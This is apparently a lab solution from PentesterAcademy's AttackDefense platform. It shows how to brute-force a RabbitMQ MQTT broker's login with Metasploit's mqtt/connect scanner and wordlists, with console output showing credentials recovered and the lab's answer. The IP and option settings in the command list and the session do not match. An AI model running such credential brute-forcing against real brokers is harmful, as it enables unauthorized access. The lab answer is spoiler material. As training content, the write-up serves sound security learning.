
ATTACK
DEFENSE
by PentesterAcademy

Name	RabbitMQ: MQTT Bruteforcing
URL	https://www.attackdefense.com/challengedetails?cid=575
Type	IoT : MQTT

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic.

Q1. Find the credentials (username and password) of the default user for MQTT broker running on RabbitMQ server.

Answer: guest/shadow1

Solution:

Use metasploit module to bruteforce the MQTT service

Commands:
msfconsole
use auxiliary/scanner/mqtt/connect

Set the required values and fire the module.

Commands:
set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
set PASS_FILE wordlists/100-common-passwords.txt
set RHOSTS 192.69.192.3
set VERBOSE false
set STOP_ON_SUCCESS
exploit

```
msf5 > use auxiliary/scanner/mqtt/connect
msf5 auxiliary(scanner/mqtt/connect) > set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
USER_FILE => /usr/share/wordlists/metasploit/unix_users.txt
msf5 auxiliary(scanner/mqtt/connect) > set PASS_FILE wordlists/100-common-passwords.txt
PASS_FILE => wordlists/100-common-passwords.txt
msf5 auxiliary(scanner/mqtt/connect) > set RHOSTS 192.69.193.3
RHOSTS => 192.69.193.3
msf5 auxiliary(scanner/mqtt/connect) > set VERBOSE false
VERBOSE => false
msf5 auxiliary(scanner/mqtt/connect) > set STOP_ON_SUCCESS false
STOP_ON_SUCCESS => false
msf5 auxiliary(scanner/mqtt/connect) > exploit

[+] 192.69.193.3:1883     - MQTT Login Successful: guest/shadow1
[*] 192.69.193.3:1883     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/mqtt/connect) >
```